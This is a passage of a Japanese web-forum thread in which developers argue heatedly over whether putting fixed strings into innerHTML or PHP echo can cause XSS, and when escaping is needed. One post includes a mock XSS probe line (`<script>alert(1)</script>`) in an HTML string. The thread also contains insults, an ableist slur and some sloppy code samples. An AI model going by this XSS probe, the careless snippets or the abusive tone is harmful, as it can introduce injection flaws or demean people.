この説明で同じだってことがよくわかったと思うがね。
242:Name_Not_Found
14/11/10 23:00:39.74 .net
過保護パターンみたいな名前のアンチパターンありそうだなw
例えば、if (a > 0 and a !== 0) みたいに
明らかにやる必要がないのに、念のためとかいって
やる初心者がいるんだよねw
こういうのは、コードがどう動くか
わかってないから。
243:Name_Not_Found
14/11/10 23:05:14.85 .net
>>238
appendChild と innerHTML が同じ?
244:Name_Not_Found
14/11/10 23:08:28.44 .net
チェックミスが起きるからヒューマンエラーなんだがな
appendChild と innerHTML を同一視するとか、リスクの規模を測る目を持たない人がいう事は違うな
245:Name_Not_Found
14/11/10 23:09:16.38 .net
>>240
はい。同じです。
固定値をinnerHTMLに入れている限りXSSは起きません。
逆に、appendChildの値をユーザーーが入力可能だとXSS起きる可能性があります。
echoも同じです。固定値ならばXSSは起きません。
違い、分かりますか? 変数の内容がユーザーが入れられるかどうかです。
エンドユーザーが入れられるなら、XSSは起きる可能性がありますが、
固定値を入れている限りXSSは起きません。
絶対に起きません。
246:Name_Not_Found
14/11/10 23:10:11.01 .net
>>241
チェックミスって何のチェックですか?
コードにバグがないかチェックしないんですか?
247:Name_Not_Found
14/11/10 23:11:25.57 .net
まさにこれなんだよね。
echoをミスするとXSS起きるから、
echoを使うなっていう馬鹿はいない。
221 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:57:31.58 ID:???
echo はミスをするとXSSを起こす。
だからechoを使うな!
↑
え?w
222 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:58:21.95 ID:???
innerHTML はミスをするとXSSを起こす。
だから innerHTML を使うな!
↑
え?w
248:Name_Not_Found
14/11/10 23:13:27.03 .net
>>243
バグがあったら脆弱性になるだよ。
あっ! innerHTML使って、しかも間違って
代入するテキストにscriptタグを書いてしまった!
どんだけありえない話だよwwww
innerHTML使うだけじゃ何の問題も起きないからね。
innerHTMLを使ってなおかつ、ありえない条件を満たさない限りXSSは起きない。
249:Name_Not_Found
14/11/10 23:14:32.00 .net
プロなら過保護はやめろよw
いつまでも補助輪付けて
競輪に出場してるんじゃねーよw
250:Name_Not_Found
14/11/10 23:14:58.62 .net
>>236
お前サーバサイドやったことないだろ
251:Name_Not_Found
14/11/10 23:16:28.18 .net
>>247
お前がやったことないだろ。
はい論破w
252:Name_Not_Found
14/11/10 23:18:21.00 .net
こういう喩え話思いついたわw
あるプログラマが、echo '<p>ほげほげ</p>'というコードを書いていました。
もう一人の知障プログラマがエスケープしろ!固定値でもエスケープしろ!っと喚いて
すべてのプログラムをこう書き換えました。
echo htmlspecialchars('<p>ほげほげ</p>', ENT_QUOTES, 'utf-8');
大損害を与えたため知障プログラマは会社を首になりましたwww
253:Name_Not_Found
14/11/10 23:19:07.39 .net
ところどころ全然的を得てない例を出してる人は流れの邪魔
254:Name_Not_Found
14/11/10 23:20:16.54 .net
まずエスケープする所は、ユーザーが入力した文字。
固定値はエスケープしないで出力しても安全。
これがサーバーサイドの常識。
クライアントサイドでも同じで、
innerHTMLに固定値を代入するときは
何の問題も起きない。リスクもない。
255:Name_Not_Found
14/11/10 23:29:15.60 .net
全然常識じゃない
256:Name_Not_Found
14/11/10 23:30:55.91 .net
お前が意味のないコード書いてるだけ。
意味があることだけやれや
過保護やろう
257:Name_Not_Found
14/11/10 23:32:53.23 .net
ママーこわいよ。ヒューマンエラー怖いよー
リスクがー、リスクがー。
バグかいても、動くコード
258:ゥいてー リスクゼロじゃなきゃだー
259:Name_Not_Found
14/11/10 23:34:00.59 .net
innerHTMLに代入する文字が
固定の文字列ならリスクゼロだよw
260:Name_Not_Found
14/11/10 23:37:50.05 .net
たぶん「固定の文字列」がわからないんだよ
261:Name_Not_Found
14/11/10 23:37:53.79 .net
>>255
innerHTMLを選択する理由もゼロになるな
262:Name_Not_Found
14/11/10 23:40:49.79 .net
innerHTML君はいい加減、黙ってくれないかな
言いたいことは全ていっただろうに、いつまで続けるというのか
263:Name_Not_Found
14/11/10 23:41:21.39 .net
>>257
コードがシンプルになるよ。
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';
これをinnerHTMLを使わないで書こうとすると
複雑になるからね。つまりコストが掛かってバグを起こすリスク(笑)が高くなる。
>>256
なるほど。固定の文字列がわからないのか。
上の、'<table>〜</table>'のことだよ。
値が変わらないからXSSが起きるリスクがない
264:Name_Not_Found
14/11/10 23:42:38.61 .net
>>258
> いつまで続けるというのか
え? それ言っておかないとダメ?
反論する人がいる限り叩き潰しに来るし、
この話題が出るたびに再登場するよ。
ちゃんと、いつまで続けるか言ったので
今度から聞かないでね。
265:Name_Not_Found
14/11/10 23:45:11.98 .net
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';
と書こうとして、ちょっと眠くてうっかりして手が滑って
innerHTML = '<table id="tbl"><tr><td class="first"><script>alert(1)</script>なんとか</td></tr></table>';
って書いてしまったらどうするんだ!
ねーよw
266:Name_Not_Found
14/11/10 23:46:03.69 .net
なんとかの部分を可変にしてほしいという変更依頼があったらどうする?
267:Name_Not_Found
14/11/10 23:46:35.70 .net
ここまで低次元だという事がないな
268:Name_Not_Found
14/11/10 23:46:47.42 .net
>>262
エスケープする。サーバーサイドの常識(笑)だろ
269:Name_Not_Found
14/11/10 23:47:52.76 .net
エスケープするの忘れるかもしれないから
echo禁止。ユーザーが入力したものを表示するの禁止。
270:Name_Not_Found
14/11/10 23:48:33.81 .net
変更依頼があって、そこからやるのか…
271:Name_Not_Found
14/11/10 23:49:44.45 .net
>>263
それだけ過保護が多いんだろ。
うちの会社は馬鹿ばかりだから規則を守れ。
理由は考えるなお前らはただ規則を何も考えずに守ってればいいんだ。
272:Name_Not_Found
14/11/10 23:50:40.06 .net
>>266
何か問題?
低次元の人は何考えてるのかわからんので、
ちゃんと書こうね。
273:Name_Not_Found
14/11/10 23:50:41.67 .net
>>215あたりがこいつの考えの根底にあるものか
テキスト操作に拘り過ぎてDOMの概念がないんだな
274:Name_Not_Found
14/11/10 23:51:46.19 .net
>>267
理由を理解できないおまえにいわれたくないわ
275:Name_Not_Found
14/11/10 23:52:22.74 .net
>>264
ネタだと思ってたらお前は絶対にサーバサイドでコード書かないほうがいいよ
276:Name_Not_Found
14/11/10 23:52:50.00 .net
>>268
依頼がなくても最初から全部エスケープしていればいいだろ
innerHTML = escapeHTML('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>');
ドヤッ!
277:Name_Not_Found
14/11/10 23:53:36.23 .net
>>270
みんなお前が馬鹿だってわかってるから
もうやめたら?w
>>271
へー。あんたエスケープしないんだ?
ユーザーが入力した文字をエスケープしないんだねw
278:Name_Not_Found
14/11/10 23:55:03.18 .net
>>271
まさか、まだサーバーサイドで固定値をエスケープしろとか言ってんの?
echo htmlspecialchars('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>', ENT_QUOTES, 'utf-8');
なるほど、こういうコード書けと。
あんた、バグってますよw
279:Name_Not_Found
14/11/10 23:55:37.97 .net
>>273
会話のキャッチボールできないのかな?
まともに相手してもらえなくなりますよ
280:Name_Not_Found
14/11/10 23:57:04.98 .net
>>274
逆にいちいち区別するほうが変だろ
常にしておけばいい
281:Name_Not_Found
14/11/10 23:57:21.39 .net
>>275
相手しなくていいってw
どうせお前だけだろ? 意味もなくinnerHTML使うなって言ってるのは。
俺はしっかり言った。代入するのが固定の文字列であれば
innerHTMLを使うリスクは0だ。
固定値じゃない(ユーザーが入力する文字)ならばエスケープすればいい。
さあ、反論は?
ボール投げたから、ちゃんと投げ返してね。
282:Name_Not_Found
14/11/10 23:58:00.06 .net
>>276
だからバグってるだろw
正しく動いてないだろw
283:Name_Not_Found
14/11/10 23:58:58.39 .net
>>278
いや、そのコードかいたの俺じゃないし
284:Name_Not_Found
14/11/10 23:59:13.25 .net
バグっていても、リスクが0なら
そっちの方がいいだろう?
285:Name_Not_Found
14/11/10 23:59:41.73 .net
初めてだわ、場合によってサニタイズするって考えの人
LTでも勉強会でも見たことないので是非スライドシェアに投稿してほしいね
286:Name_Not_Found
14/11/11 00:00:38.75 .net
>>276
「常にしておく」って誰かから聞いたのをそのまま言ってるだけ?
常にしておくっていうのは、変数を出力する時の話であって
固定の文字列の部分は関係ないよ。
ちゃんと理解してないで、言葉だけ覚えてるから
そういう間違いをするんだよ。
287:Name_Not_Found
14/11/11 00:02:22.99 .net
え?
288:Name_Not_Found
14/11/11 00:03:44.47 .net
>>281
あー、わかったわ。お前が何を勘違いしているのか。
全部エスケープしろって言われて、
echoで出す文字全てをエスケープしろって思ってるだろ?
echo htmlspecialchars('<table id="tbl"><tr><td class="first">$nantoka</td></tr></table>', ENT_QUOTES, 'utf-8');
みたいに。
あのね、よく聞いてね。
みんなが言ってる「常にエスケープしろっていうのは」
<table id="tbl"><tr><td class="first"> <?php echo htmlspecialchars('$nantoka', ENT_QUOTES, 'utf-8') ?> </td></tr></table>;
変数の部分だけだから。
ここまで次元が低いと、降りるまで時間がかかるわw
289:Name_Not_Found
14/11/11 00:05:44.63 .net
>>284のコードを
innerHTMLの話に戻すと
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';
これはエスケープする必要はない。固定の文字列であり変わることがなくて安全だから。
「なんとかの部分を変えたい」という話であれば、こう。
innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(nantoka) + '</td></tr></table>';
290:Name_Not_Found
14/11/11 00:08:41.72 .net
>>284
あんたが一人で騒いでるだけだろう
俺は>>215と書いたのに勝手に脱線してるのはお前なんだよ
291:Name_Not_Found
14/11/11 00:09:08.73 .net
今頃、変数の前後の固定の文字列まで含めて
エスケープしているスライドを探してるのかな?w
292:Name_Not_Found
14/11/11 00:10:24.93 .net
>>286
別に騒いでるのが俺だけってことでもいいよ。
俺の言ってることが間違っていると言わないなら
全然問題なし。
で、固定の文字列は安全です。
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
536日前に更新/282 KB
担当:undef